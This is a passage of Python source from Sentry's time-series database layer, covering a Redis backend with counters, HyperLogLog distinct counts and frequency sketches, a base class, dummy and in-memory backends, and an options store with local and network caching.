            epoch=self.normalize_ts_to_rollup(timestamp, rollup),
            key=self.get_model_key(key),
        )

    def make_counter_key(self, model, epoch, model_key):
        """
        Make a key that is used for counter values.
        """
        if isinstance(model_key, six.integer_types):
            vnode = model_key % self.vnodes
        else:
            if isinstance(model_key, six.text_type):
                model_key = model_key.encode('utf-8')
            vnode = crc32(model_key) % self.vnodes

        return '{0}{1}:{2}:{3}'.format(self.prefix, model.value, epoch, vnode)

    def get_model_key(self, key):
        # We specialize integers so that a pure int-map can be optimized by
        # Redis, whereas long strings (say tag values) will store in a more
        # efficient hashed format.
        if not isinstance(key, six.integer_types):
            # enforce utf-8 encoding
            if isinstance(key, six.text_type):
                key = key.encode('utf-8')
            return md5(repr(key)).hexdigest()
        return key

    def incr(self, model, key, timestamp=None, count=1):
        self.incr_multi([(model, key)], timestamp, count)

    def incr_multi(self, items, timestamp=None, count=1):
        """
        Increment project ID=1 and group ID=5:

        >>> incr_multi([(TimeSeriesModel.project, 1), (TimeSeriesModel.group, 5)])
        """
        make_key = self.make_counter_key
        normalize_to_rollup = self.normalize_to_rollup
        if timestamp is None:
            timestamp = timezone.now()

        with self.cluster.map() as client:
            for rollup, max_values in self.rollups:
                norm_rollup = normalize_to_rollup(timestamp, rollup)
                for model, key in items:
                    model_key = self.get_model_key(key)
                    hash_key = make_key(model, norm_rollup, model_key)
                    client.hincrby(hash_key, model_key, count)
                    client.expireat(
                        hash_key,
                        self.calculate_expiry(rollup, max_values, timestamp),
                    )

    def get_range(self, model, keys, start, end, rollup=None):
        """
        To get a range of data for group ID=[1, 2, 3]:

        >>> now = timezone.now()
        >>> get_keys(TimeSeriesModel.group, [1, 2, 3],
        >>>          start=now - timedelta(days=1),
        >>>          end=now)
        """
        rollup, series = self.get_optimal_rollup_series(start, end, rollup)
        series = map(to_datetime, series)

        results = []
        with self.cluster.map() as client:
            for key in keys:
                model_key = self.get_model_key(key)
                for timestamp in series:
                    hash_key = self.make_counter_key(
                        model,
                        self.normalize_to_rollup(
                            timestamp,
                            rollup
                        ),
                        model_key,
                    )
                    results.append((
                        to_timestamp(timestamp),
                        key,
                        client.hget(hash_key, model_key)
                    ))

        results_by_key = defaultdict(dict)
        for epoch, key, count in results:
            results_by_key[key][epoch] = int(count.value or 0)

        for key, points in six.iteritems(results_by_key):
            results_by_key[key] = sorted(points.items())
        return dict(results_by_key)

    def record(self, model, key, values, timestamp=None):
        self.record_multi(((model, key, values),), timestamp)

    def record_multi(self, items, timestamp=None):
        """
        Record an occurence of an item in a distinct counter.
        """
        if timestamp is None:
            timestamp = timezone.now()

        ts = int(to_timestamp(timestamp))  # ``timestamp`` is not actually a timestamp :(

        with self.cluster.fanout() as client:
            for model, key, values in items:
                c = client.target_key(key)
                for rollup, max_values in self.rollups:
                    k = self.make_key(
                        model,
                        rollup,
                        ts,
                        key,
                    )
                    c.pfadd(k, *values)
                    c.expireat(
                        k,
                        self.calculate_expiry(
                            rollup,
                            max_values,
                            timestamp,
                        ),
                    )

    def get_distinct_counts_series(self, model, keys, start, end=None, rollup=None):
        """
        Fetch counts of distinct items for each rollup interval within the range.
        """
        rollup, series = self.get_optimal_rollup_series(start, end, rollup)

        responses = {}
        with self.cluster.fanout() as client:
            for key in keys:
                c = client.target_key(key)
                r = responses[key] = []
                for timestamp in series:
                    r.append((
                        timestamp,
                        c.pfcount(
                            self.make_key(
                                model,
                                rollup,
                                timestamp,
                                key,
                            ),
                        ),
                    ))

        return {key: [(timestamp, promise.value) for timestamp, promise in value] for key, value in six.iteritems(responses)}

    def get_distinct_counts_totals(self, model, keys, start, end=None, rollup=None):
        """
        Count distinct items during a time range.
        """
        rollup, series = self.get_optimal_rollup_series(start, end, rollup)

        responses = {}
        with self.cluster.fanout() as client:
            for key in keys:
                # XXX: The current versions of the Redis driver don't implement
                # ``PFCOUNT`` correctly (although this is fixed in the Git
                # master, so should be available in the next release) and only
                # supports a single key argument -- not the variadic signature
                # supported by the protocol -- so we have to call the commnand
                # directly here instead.
                ks = []
                for timestamp in series:
                    ks.append(self.make_key(model, rollup, timestamp, key))

                responses[key] = client.target_key(key).execute_command('PFCOUNT', *ks)

        return {key: value.value for key, value in six.iteritems(responses)}

    def get_distinct_counts_union(self, model, keys, start, end=None, rollup=None):
        if not keys:
            return 0

        rollup, series = self.get_optimal_rollup_series(start, end, rollup)

        temporary_id = uuid.uuid1().hex

        def make_temporary_key(key):
            return '{}{}:{}'.format(self.prefix, temporary_id, key)

        def expand_key(key):
            """
            Return a list containing all keys for each interval in the series for a key.
            """
            return [
                self.make_key(model, rollup, timestamp, key)
                for timestamp in series]

        router = self.cluster.get_router()

        def map_key_to_host(hosts, key):
            """
            Identify the host where a key is located and add it to the host map.
            """
            hosts[router.get_host_for_key(key)].add(key)
            return hosts

        def get_partition_aggregate(value):
            """
            Fetch the HyperLogLog value (in its raw byte representation) that
            results from merging all HyperLogLogs at the provided keys.
            """
            (host, keys) = value
            destination = make_temporary_key('p:{}'.format(host))
            client = self.cluster.get_local_client(host)
            with client.pipeline(transaction=False) as pipeline:
                pipeline.execute_command(
                    'PFMERGE',
                    destination,
                    *itertools.chain.from_iterable(
                        map(expand_key, keys)
                    )
                )
                pipeline.get(destination)
                pipeline.delete(destination)
                return (host, pipeline.execute()[1])

        def merge_aggregates(values):
            """
            Calculate the cardinality of the provided HyperLogLog values.
            """
            destination = make_temporary_key('a')  # all values will be merged into this key
            aggregates = {
                make_temporary_key('a:{}'.format(host)): value
                for host, value in values
            }

            # Choose a random host to execute the reduction on. (We use a host
            # here that we've already accessed as part of this process -- this
            # way, we constrain the choices to only hosts that we know are
            # running.)
            client = self.cluster.get_local_client(random.choice(values)[0])
            with client.pipeline(transaction=False) as pipeline:
                pipeline.mset(aggregates)
                pipeline.execute_command('PFMERGE', destination, *aggregates.keys())
                pipeline.execute_command('PFCOUNT', destination)
                pipeline.delete(destination, *aggregates.keys())
                return pipeline.execute()[2]

        # TODO: This could be optimized to skip the intermediate step for the
        # host that has the largest number of keys if the final merge and count
        # is performed on that host. If that host contains *all* keys, the
        # final reduction could be performed as a single PFCOUNT, skipping the
        # MSET and PFMERGE operations entirely.

        return merge_aggregates(
            [
                get_partition_aggregate(x)
                for x in reduce(
                    map_key_to_host,
                    keys,
                    defaultdict(set),
                ).items()
            ]
        )

    def make_frequency_table_keys(self, model, rollup, timestamp, key):
        prefix = self.make_key(model, rollup, timestamp, key)
        return map(
            operator.methodcaller('format', prefix),
            ('{}:c', '{}:i', '{}:e'),
        )

    def record_frequency_multi(self, requests, timestamp=None):
        if not self.enable_frequency_sketches:
            return

        if timestamp is None:
            timestamp = timezone.now()

        ts = int(to_timestamp(timestamp))  # ``timestamp`` is not actually a timestamp :(

        commands = {}

        for model, request in requests:
            for key, items in six.iteritems(request):
                keys = []
                expirations = {}

                # Figure out all of the keys we need to be incrementing, as
                # well as their expiration policies.
                for rollup, max_values in self.rollups:
                    chunk = self.make_frequency_table_keys(model, rollup, ts, key)
                    keys.extend(chunk)

                    expiry = self.calculate_expiry(rollup, max_values, timestamp)
                    for k in chunk:
                        expirations[k] = expiry

                arguments = ['INCR'] + list(self.DEFAULT_SKETCH_PARAMETERS)
                for member, score in items.items():
                    arguments.extend((score, member))

                # Since we're essentially merging dictionaries, we need to
                # append this to any value that already exists at the key.
                cmds = commands.setdefault(key, [])
                cmds.append((CountMinScript, keys, arguments))
                for k, t in expirations.items():
                    cmds.append(('EXPIREAT', k, t))

        self.cluster.execute_commands(commands)

    def get_most_frequent(self, model, keys, start, end=None, rollup=None, limit=None):
        if not self.enable_frequency_sketches:
            raise NotImplementedError("Frequency sketches are disabled.")

        rollup, series = self.get_optimal_rollup_series(start, end, rollup)

        arguments = ['RANKED']
        if limit is not None:
            arguments.append(int(limit))

        commands = {}
        for key in keys:
            ks = []
            for timestamp in series:
                ks.extend(self.make_frequency_table_keys(model, rollup, timestamp, key))
            commands[key] = [(CountMinScript, ks, arguments)]

        results = {}
        for key, responses in self.cluster.execute_commands(commands).items():
            results[key] = [(member, float(score)) for member, score in responses[0].value]

        return results

    def get_most_frequent_series(self, model, keys, start, end=None, rollup=None, limit=None):
        if not self.enable_frequency_sketches:
            raise NotImplementedError("Frequency sketches are disabled.")

        rollup, series = self.get_optimal_rollup_series(start, end, rollup)

        arguments = ['RANKED']
        if limit is not None:
            arguments.append(int(limit))

        commands = {}
        for key in keys:
            commands[key] = [(
                CountMinScript,
                self.make_frequency_table_keys(model, rollup, timestamp, key),
                arguments,
            ) for timestamp in series]

        def unpack_response(response):
            return {item: float(score) for item, score in response.value}

        results = {}
        for key, responses in self.cluster.execute_commands(commands).items():
            results[key] = zip(series, map(unpack_response, responses))

        return results

    def get_frequency_series(self, model, items, start, end=None, rollup=None):
        if not self.enable_frequency_sketches:
            raise NotImplementedError("Frequency sketches are disabled.")

        rollup, series = self.get_optimal_rollup_series(start, end, rollup)

        # Freeze ordering of the members (we'll need these later.)
        for key, members in items.items():
            items[key] = tuple(members)

        commands = {}

        for key, members in items.items():
            ks = []
            for timestamp in series:
                ks.extend(self.make_frequency_table_keys(model, rollup, timestamp, key))

            commands[key] = [(CountMinScript, ks, ('ESTIMATE',) + members)]

        results = {}

        for key, responses in self.cluster.execute_commands(commands).items():
            members = items[key]

            chunk = results[key] = []
            for timestamp, scores in zip(series, responses[0].value):
                chunk.append((timestamp, dict(zip(members, map(float, scores)))))

        return results

    def get_frequency_totals(self, model, items, start, end=None, rollup=None):
        if not self.enable_frequency_sketches:
            raise NotImplementedError("Frequency sketches are disabled.")

        responses = {}

        for key, series in six.iteritems(self.get_frequency_series(model, items, start, end, rollup)):
            response = responses[key] = {}
            for timestamp, results in series:
                for member, value in results.items():
                    response[member] = response.get(member, 0.0) + value

        return responses






"""
sentry.tsdb.base
~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import six
from datetime import timedelta

from django.conf import settings
from django.utils import timezone
from enum import Enum

from sentry.utils.dates import to_timestamp

ONE_MINUTE = 60
ONE_HOUR = ONE_MINUTE * 60
ONE_DAY = ONE_HOUR * 24


class TSDBModel(Enum):
    internal = 0

    # number of events seen specific to grouping
    project = 1
    project_tag_key = 2
    project_tag_value = 3
    group = 4
    group_tag_key = 5
    group_tag_value = 6
    release = 7

    # the number of events sent to the server
    project_total_received = 100
    # the number of events rejected due to rate limiting
    project_total_rejected = 101
    # the number of operations
    project_operations = 102
    # the number of operations with an error state
    project_operation_errors = 103
    # the number of events blocked due to being blacklisted
    project_total_blacklisted = 104

    # the number of events sent to the server
    organization_total_received = 200
    # the number of events rejected due to rate limiting
    organization_total_rejected = 201
    # the number of events blocked due to being blacklisted
    organization_total_blacklisted = 202

    # distinct count of users that have been affected by an event in a group
    users_affected_by_group = 300
    # distinct count of users that have been affected by an event in a project
    users_affected_by_project = 301

    # frequent_organization_received_by_system = 400
    # frequent_organization_rejected_by_system = 401
    # frequent_organization_blacklisted_by_system = 402
    # frequent_values_by_issue_tag = 405

    # number of events seen for a project, by organization
    frequent_projects_by_organization = 403
    # number of issues seen for a project, by project
    frequent_issues_by_project = 404
    # number of events seen for a release, by issue
    # frequent_releases_by_group = 406  # DEPRECATED
    # number of events seen for a release, by issue
    frequent_releases_by_group = 407
    # number of events seen for an environment, by issue
    frequent_environments_by_group = 408


class BaseTSDB(object):
    models = TSDBModel

    def __init__(self, rollups=settings.SENTRY_TSDB_ROLLUPS):
        self.rollups = rollups

    def validate(self):
        """
        Validates the settings for this backend (i.e. such as proper connection
        info).

        Raise ``InvalidConfiguration`` if there is a configuration error.
        """

    def normalize_to_epoch(self, timestamp, seconds):
        """
        Given a ``timestamp`` (datetime object) normalize to an epoch timestamp.

        i.e. if the rollup is minutes, the resulting timestamp would have
        the seconds and microseconds rounded down.
        """
        epoch = int(to_timestamp(timestamp))
        return epoch - (epoch % seconds)

    def normalize_ts_to_epoch(self, epoch, seconds):
        """
        Given a ``epoch`` normalize to an epoch rollup.
        """
        return epoch - (epoch % seconds)

    def normalize_to_rollup(self, timestamp, seconds):
        """
        Given a ``timestamp`` (datetime object) normalize to an epoch rollup.
        """
        epoch = int(to_timestamp(timestamp))
        return int(epoch / seconds)

    def normalize_ts_to_rollup(self, epoch, seconds):
        """
        Given a ``epoch`` normalize to an epoch rollup.
        """
        return int(epoch / seconds)

    def get_optimal_rollup(self, start_timestamp, end_timestamp):
        """
        Identify the lowest granularity rollup available within the given time
        range.
        """
        num_seconds = int(to_timestamp(end_timestamp)) - int(to_timestamp(start_timestamp))

        # This loop attempts to find the smallest possible rollup that will
        # contain both the start and end timestamps. ``self.rollups`` is
        # ordered from the highest resolution (smallest interval) to lowest
        # resolution (largest interval.)
        # XXX: There is a bug here, since this function assumes that the end
        # timestamp is always equal to or greater than the current time. If the
        # time range is shifted far enough into the past (e.g. a 30 second
        # window, retrieved several days after it's occurrence), this can
        # return a rollup that has already been evicted due to TTL, even if a
        # lower resolution representation of the range exists.
        for rollup, samples in self.rollups:
            if rollup * samples >= num_seconds:
                return rollup

        # If nothing actually matches the requested range, just return the
        # lowest resolution interval.
        return self.rollups[-1][0]

    def get_optimal_rollup_series(self, start, end=None, rollup=None):
        if end is None:
            end = timezone.now()

        if rollup is None:
            rollup = self.get_optimal_rollup(start, end)

        # This attempts to create a range with a duration as close as possible
        # to the requested interval using the requested (or inferred) rollup
        # resolution. This result always includes the ``end`` timestamp, but
        # may not include the ``start`` timestamp.
        series = []
        timestamp = end
        while timestamp >= start:
            series.append(self.normalize_to_epoch(timestamp, rollup))
            timestamp = timestamp - timedelta(seconds=rollup)

        return rollup, sorted(series)

    def calculate_expiry(self, rollup, samples, timestamp):
        """
        Calculate the expiration time for a rollup.

        :param rollup: rollup interval (in seconds)
        :param samples: number of samples to maintain
        :param timestamp: datetime used to calculate the rollup epoch
        """
        epoch = self.normalize_to_epoch(timestamp, rollup)
        return epoch + (rollup * samples)

    def incr(self, model, key, timestamp=None, count=1):
        """
        Increment project ID=1:

        >>> incr(TimeSeriesModel.project, 1)
        """
        raise NotImplementedError

    def incr_multi(self, items, timestamp=None, count=1):
        """
        Increment project ID=1 and group ID=5:

        >>> incr_multi([(TimeSeriesModel.project, 1), (TimeSeriesModel.group, 5)])
        """
        for model, key in items:
            self.incr(model, key, timestamp, count)

    def get_range(self, model, keys, start, end, rollup=None):
        """
        To get a range of data for group ID=[1, 2, 3]:

        Returns a mapping of key => [(timestamp, count), ...].

        >>> now = timezone.now()
        >>> get_range([TSDBModel.group], [1, 2, 3],
        >>>           start=now - timedelta(days=1),
        >>>           end=now)
        """
        raise NotImplementedError

    def get_sums(self, model, keys, start, end, rollup=None):
        range_set = self.get_range(model, keys, start, end, rollup)
        sum_set = dict(
            (key, sum(p for _, p in points))
            for (key, points) in six.iteritems(range_set)
        )
        return sum_set

    def rollup(self, values, rollup):
        """
        Given a set of values (as returned from ``get_range``), roll them up
        using the ``rollup`` time (in seconds).
        """
        normalize_ts_to_epoch = self.normalize_ts_to_epoch
        result = {}
        for key, points in six.iteritems(values):
            result[key] = []
            last_new_ts = None
            for (ts, count) in points:
                new_ts = normalize_ts_to_epoch(ts, rollup)
                if new_ts == last_new_ts:
                    result[key][-1][1] += count
                else:
                    result[key].append([new_ts, count])
                    last_new_ts = new_ts
        return result

    def record(self, model, key, values, timestamp=None):
        """
        Record occurences of items in a single distinct counter.
        """
        raise NotImplementedError

    def record_multi(self, items, timestamp=None):
        """
        Record occurences of items in multiple distinct counters.
        """
        for model, key, values in items:
            self.record(model, key, values, timestamp)

    def get_distinct_counts_series(self, model, keys, start, end=None, rollup=None):
        """
        Fetch counts of distinct items for each rollup interval within the range.
        """
        raise NotImplementedError

    def get_distinct_counts_totals(self, model, keys, start, end=None, rollup=None):
        """
        Count distinct items during a time range.
        """
        raise NotImplementedError

    def get_distinct_counts_union(self, model, keys, start, end=None, rollup=None):
        """
        Count the total number of distinct items across multiple counters
        during a time range.
        """
        raise NotImplementedError

    def record_frequency_multi(self, requests, timestamp=None):
        """
        Record items in a frequency table.

        Metrics to increment should be passed as sequence pairs, using this
        structure: ``(model, {key: {item: score, ...}, ...})``
        """
        raise NotImplementedError

    def get_most_frequent(self, model, keys, start, end=None, rollup=None, limit=None):
        """
        Retrieve the most frequently seen items in a frequency table.

        Results are returned as a mapping, where the key is the key requested
        and the value is a list of ``(member, score)`` tuples, ordered by the
        highest (most frequent) to lowest (least frequent) score. The maximum
        number of items returned is ``index capacity * rollup intervals`` if no
        ``limit`` is provided.
        """
        raise NotImplementedError

    def get_most_frequent_series(self, model, keys, start, end=None, rollup=None, limit=None):
        """
        Retrieve the most frequently seen items in a frequency table for each
        interval in a series. (This is in contrast with ``get_most_frequent``,
        which returns the most frequent items seen over the entire requested
        range.)

        Results are returned as a mapping, where the key is the key requested
        and the value is a list of ``(timestamp, {item: score, ...})`` pairs
        over the series. The maximum number of items returned for each interval
        is the index capacity if no ``limit`` is provided.
        """
        raise NotImplementedError

    def get_frequency_series(self, model, items, start, end=None, rollup=None):
        """
        Retrieve the frequency of known items in a table over time.

        The items requested should be passed as a mapping, where the key is the
        metric key, and the value is a sequence of members to retrieve scores
        for.

        Results are returned as a mapping, where the key is the key requested
        and the value is a list of ``(timestamp, {item: score, ...})`` pairs
        over the series.
        """
        raise NotImplementedError

    def get_frequency_totals(self, model, items, start, end=None, rollup=None):
        """
        Retrieve the total frequency of known items in a table over time.

        The items requested should be passed as a mapping, where the key is the
        metric key, and the value is a sequence of members to retrieve scores
        for.

        Results are returned as a mapping, where the key is the key requested
        and the value is a mapping of ``{item: score, ...}`` containing the
        total score of items over the interval.
        """
        raise NotImplementedError






from __future__ import absolute_import






"""
sentry.tsdb.dummy
~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from sentry.tsdb.base import BaseTSDB


class DummyTSDB(BaseTSDB):
    """
    A no-op time-series storage.
    """
    def incr(self, model, key, timestamp=None, count=1):
        pass

    def get_range(self, model, keys, start, end, rollup=None):
        return dict((k, []) for k in keys)

    def record(self, model, key, values, timestamp=None):
        pass

    def get_distinct_counts_series(self, model, keys, start, end=None, rollup=None):
        return {k: [] for k in keys}

    def get_distinct_counts_totals(self, model, keys, start, end=None, rollup=None):
        return {k: 0 for k in keys}

    def get_distinct_counts_union(self, model, keys, start, end=None, rollup=None):
        return 0

    def record_frequency_multi(self, requests, timestamp=None):
        pass

    def get_most_frequent(self, model, keys, start, end=None, rollup=None, limit=None):
        return {key: [] for key in keys}

    def get_most_frequent_series(self, model, keys, start, end=None, rollup=None, limit=None):
        rollup, series = self.get_optimal_rollup_series(start, end, rollup)
        return {key: [(timestamp, {}) for timestamp in series] for key in keys}

    def get_frequency_series(self, model, items, start, end=None, rollup=None):
        rollup, series = self.get_optimal_rollup_series(start, end, rollup)

        results = {}
        for key, members in items.items():
            result = results[key] = []
            for timestamp in series:
                result.append((
                    timestamp,
                    {k: 0.0 for k in members},
                ))

        return results

    def get_frequency_totals(self, model, items, start, end=None, rollup=None):
        results = {}
        for key, members in items.items():
            results[key] = {member: 0.0 for member in members}
        return results






"""
sentry.tsdb.inmemory
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import six

from collections import Counter, defaultdict

from django.utils import timezone

from sentry.utils.dates import to_datetime, to_timestamp
from sentry.tsdb.base import BaseTSDB


class InMemoryTSDB(BaseTSDB):
    """
    An in-memory time-series storage.

    This should not be used in production as it will leak memory.
    """
    def __init__(self, *args, **kwargs):
        super(InMemoryTSDB, self).__init__(*args, **kwargs)
        self.flush()

    def incr(self, model, key, timestamp=None, count=1):
        if timestamp is None:
            timestamp = timezone.now()

        for rollup, max_values in self.rollups:
            norm_epoch = self.normalize_to_rollup(timestamp, rollup)
            self.data[model][key][norm_epoch] += count

    def get_range(self, model, keys, start, end, rollup=None):
        rollup, series = self.get_optimal_rollup_series(start, end, rollup)

        results = []
        for timestamp in map(to_datetime, series):
            norm_epoch = self.normalize_to_rollup(timestamp, rollup)

            for key in keys:
                value = self.data[model][key][norm_epoch]
                results.append((to_timestamp(timestamp), key, value))

        results_by_key = defaultdict(dict)
        for epoch, key, count in results:
            results_by_key[key][epoch] = int(count or 0)

        for key, points in six.iteritems(results_by_key):
            results_by_key[key] = sorted(points.items())
        return dict(results_by_key)

    def record(self, model, key, values, timestamp=None):
        if timestamp is None:
            timestamp = timezone.now()

        for rollup, max_values in self.rollups:
            r = self.normalize_to_rollup(timestamp, rollup)
            self.sets[model][key][r].update(values)

    def get_distinct_counts_series(self, model, keys, start, end=None, rollup=None):
        rollup, series = self.get_optimal_rollup_series(start, end, rollup)

        results = {}
        for key in keys:
            source = self.sets[model][key]
            counts = results[key] = []
            for timestamp in series:
                r = self.normalize_ts_to_rollup(timestamp, rollup)
                counts.append((timestamp, len(source[r])))

        return results

    def get_distinct_counts_totals(self, model, keys, start, end=None, rollup=None):
        rollup, series = self.get_optimal_rollup_series(start, end, rollup)

        results = {}
        for key in keys:
            source = self.sets[model][key]
            values = set()
            for timestamp in series:
                r = self.normalize_ts_to_rollup(timestamp, rollup)
                values.update(source[r])
            results[key] = len(values)

        return results

    def get_distinct_counts_union(self, model, keys, start, end=None, rollup=None):
        rollup, series = self.get_optimal_rollup_series(start, end, rollup)

        values = set()
        for key in keys:
            source = self.sets[model][key]
            for timestamp in series:
                r = self.normalize_ts_to_rollup(timestamp, rollup)
                values.update(source[r])

        return len(values)

    def flush(self):
        # model => key => timestamp = count
        self.data = defaultdict(lambda: defaultdict(lambda: defaultdict(int)))

        # self.sets[model][key][rollup] = set of elements
        self.sets = defaultdict(
            lambda: defaultdict(
                lambda: defaultdict(
                    set,
                ),
            ),
        )

        # self.frequencies[model][key][rollup] = Counter()
        self.frequencies = defaultdict(
            lambda: defaultdict(
                lambda: defaultdict(
                    Counter,
                )
            ),
        )

    def record_frequency_multi(self, requests, timestamp=None):
        if timestamp is None:
            timestamp = timezone.now()

        for model, request in requests:
            for key, items in request.items():
                items = {k: float(v) for k, v in items.items()}
                source = self.frequencies[model][key]
                for rollup, _ in self.rollups:
                    source[self.normalize_to_rollup(timestamp, rollup)].update(items)

    def get_most_frequent(self, model, keys, start, end=None, rollup=None, limit=None):
        rollup, series = self.get_optimal_rollup_series(start, end, rollup)

        results = {}
        for key in keys:
            result = results[key] = Counter()
            source = self.frequencies[model][key]
            for timestamp in series:
                result.update(source[self.normalize_ts_to_rollup(timestamp, rollup)])

        for key, counter in results.items():
            results[key] = counter.most_common(limit)

        return results

    def get_frequency_series(self, model, items, start, end=None, rollup=None):
        rollup, series = self.get_optimal_rollup_series(start, end, rollup)

        results = {}
        for key, members in items.items():
            result = results[key] = []
            source = self.frequencies[model][key]
            for timestamp in series:
                scores = source[self.normalize_ts_to_rollup(timestamp, rollup)]
                result.append((
                    timestamp,
                    {k: scores.get(k, 0.0) for k in members},
                ))

        return results

    def get_frequency_totals(self, model, items, start, end=None, rollup=None):
        results = {}

        for key, series in six.iteritems(self.get_frequency_series(model, items, start, end, rollup)):
            result = results[key] = {}
            for timestamp, scores in series:
                for member, score in scores.items():
                    result[member] = result.get(member, 0.0) + score

        return results






"""
sentry.options.store
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import logging
import six

from collections import namedtuple
from time import time
from random import random

from django.utils import timezone
from django.utils.functional import cached_property
from sentry.db.models.query import create_or_update
from sentry.utils.hashlib import md5_text


Key = namedtuple('Key', ('name', 'default', 'type', 'flags', 'ttl', 'grace', 'cache_key'))

CACHE_FETCH_ERR = 'Unable to fetch option cache for %s'
CACHE_UPDATE_ERR = 'Unable to update option cache for %s'

logger = logging.getLogger('sentry')


def _make_cache_key(key):
    return 'o:%s' % md5_text(key).hexdigest()


def _make_cache_value(key, value):
    now = int(time())
    return (
        value,
        now + key.ttl,
        now + key.ttl + key.grace,
    )


class OptionsStore(object):
    """
    Abstraction for the Option storage logic that should be driven
    by the OptionsManager.

    OptionsStore is gooey and raw. It provides no protection over
    what goes into the store. It only knows that it's reading/writing
    to the right place. If using the OptionsStore directly, it's your
    job to do validation of the data. You should probably go through
    OptionsManager instead, unless you need raw access to something.
    """

    def __init__(self, cache=None, ttl=None):
        self.cache = cache
        self.ttl = ttl
        self.flush_local_cache()

    @cached_property
    def model(self):
        from sentry.models.option import Option
        return Option

    def make_key(self, name, default, type, flags, ttl, grace):
        return Key(name, default, type, flags, int(ttl), int(grace), _make_cache_key(name))

    def get(self, key, silent=False):
        """
        Fetches a value from the options store.
        """
        result = self.get_cache(key, silent=silent)
        if result is not None:
            return result

        result = self.get_store(key, silent=silent)
        if result is not None:
            return result

        # As a last ditch effort, let's hope we have a key
        # in local cache that's possibly stale
        return self.get_local_cache(key, force_grace=True)

    def get_cache(self, key, silent=False):
        """
        First check agaist our local in-process cache, falling
        back to the network cache.
        """
        value = self.get_local_cache(key)
        if value is not None:
            return value

        if self.cache is None:
            return None

        cache_key = key.cache_key
        try:
            value = self.cache.get(cache_key)
        except Exception:
            if not silent:
                logger.warn(CACHE_FETCH_ERR, key.name, exc_info=True)
            value = None
        else:
            if key.ttl > 0:
                self._local_cache[cache_key] = _make_cache_value(key, value)
        return value

    def get_local_cache(self, key, force_grace=False):
        """
        Attempt to fetch a key out of the local cache.

        If the key exists, but is beyond expiration, we only
        return it if grace=True. This forces the key to be returned
        in a disaster scenario as long as we're still holding onto it.
        This allows the OptionStore to pave over potential network hiccups
        by returning a stale value.
        """
        try:
            value, expires, grace = self._local_cache[key.cache_key]
        except KeyError:
            return None

        now = int(time())

        # Key is within normal expiry window, so just return it
        if now < expires:
            return value

        # If we're able to accept within grace window, return it
        if force_grace and now < grace:
            return value

        # Let's clean up values if we're beyond grace.
        if now > grace:
            try:
                del self._local_cache[key.cache_key]
            except KeyError:
                # This could only exist in a race condition
                # where another thread has already deleted this key,
                # but we'll guard ourselves against it Justin Case.
                # In this case, it's also possible that another thread
                # has updated the value at this key, causing us to evict
                # it prematurely. This isn't ideal, but not terrible
                # since I don't want to introduce locking to prevent this.
                # Even if it did happen, the consequence is just another
                # network hop.
                pass

        # If we're outside the grace window, even if we ask for it
        # in grace, too bad. The value is considered bad.
        return None

    def get_store(self, key, silent=False):
        """
        Attempt to fetch value from the database. If successful,
        also set it back in the cache.

        Returns None in both cases, if the key doesn't actually exist,
        or if we errored fetching it.

        NOTE: This behavior should probably be improved to differentiate
        between a miss vs error, but not worth it now since the value
        is limited at the moment.
        """
        try:
            value = self.model.objects.get(key=key.name).value
        except self.model.DoesNotExist:
            value = None
        except Exception as e:
            if not silent:
                logger.exception(six.text_type(e))
            value = None
        else:
            # we only attempt to populate the cache if we were previously
            # able to successfully talk to the backend
            # NOTE: There is definitely a race condition here between updating
            # the store and the cache
            try:
                self.set_cache(key, value)
            except Exception:
                if not silent:
                    logger.warn(CACHE_UPDATE_ERR, key.name, exc_info=True)
        return value

    def set(self, key, value):
        """
        Store a value in the option store. Value must get persisted to database first,
        then attempt caches. If it fails database, the entire operation blows up.
        If cache fails, we ignore silently since it'll get repaired later by sync_options.
        A boolean is returned to indicate if the network cache was set successfully.
        """
        assert self.cache is not None, 'cache must be configured before mutating options'

        self.set_store(key, value)
        return self.set_cache(key, value)

    def set_store(self, key, value):
        create_or_update(
            model=self.model,
            key=key.name,
            values={
                'value': value,
                'last_updated': timezone.now(),
            }
        )

    def set_cache(self, key, value):
        if self.cache is None:
            return None

        cache_key = key.cache_key

        if key.ttl > 0:
            self._local_cache[cache_key] = _make_cache_value(key, value)

        try:
            self.cache.set(cache_key, value, self.ttl)
            return True
        except Exception:
            logger.warn(CACHE_UPDATE_ERR, key.name, exc_info=True)
            return False

    def delete(self, key):
        """
        Remove key out of option stores. This operation must succeed on the
        database first. If database fails, an exception is raised.
        If database succeeds, caches are then allowed to fail silently.
        A boolean is returned to indicate if the network deletion succeeds.
        """
        assert self.cache is not None, 'cache must be configured before mutating options'

        self.delete_store(key)
        return self.delete_cache(key)

    def delete_store(self, key):
        self.model.objects.filter(key=key.name).delete()

    def delete_cache(self, key):
        cache_key = key.cache_key
        try:
            del self._local_cache[cache_key]
        except KeyError:
            pass

        try:
            self.cache.delete(cache_key)
            return True
        except Exception:
            logger.warn(CACHE_UPDATE_ERR, key.name, exc_info=True)
            return False

    def clean_local_cache(self):
        """
        Iterate over our local cache items, and
        remove the keys that are beyond their grace time.
        """
        to_expire = []
        now = int(time())

        try:
            for k, (_, _, grace) in six.iteritems(self._local_cache):
                if now > grace:
                    to_expire.append(k)
        except RuntimeError:
            # It's possible for the dictionary to be mutated in another thread
            # while iterating, but this case is rare, so instead of making a
            # copy and iterating that, it's more efficient to just let it fail
            # gracefully. It'll just get re-run later.
            return

        for k in to_expire:
            try:
                del self._local_cache[k]
            except KeyError:
                # This could only exist in a race condition
                # where another thread has already deleted this key,
                # but we'll guard ourselves against it Justin Case.
                pass

    def flush_local_cache(self):
        """
        Empty store's local in-process cache.
        """
        self._local_cache = {}

    def maybe_clean_local_cache(self, **kwargs):
        # Periodically force an expire on the local cache.
        # This cleanup is purely to keep memory low and garbage collect
        # old values. It's not required to run to keep things consistent.
        # Internally, if an option is fetched and it's expired, it gets
        # evicted immediately. This is purely for options that haven't
        # been fetched since they've expired.
        if not self._local_cache:
            return
        if random() < 0.25:
            self.clean_local_cache()

    def connect_signals(self):
        from celery.signals import task_postrun
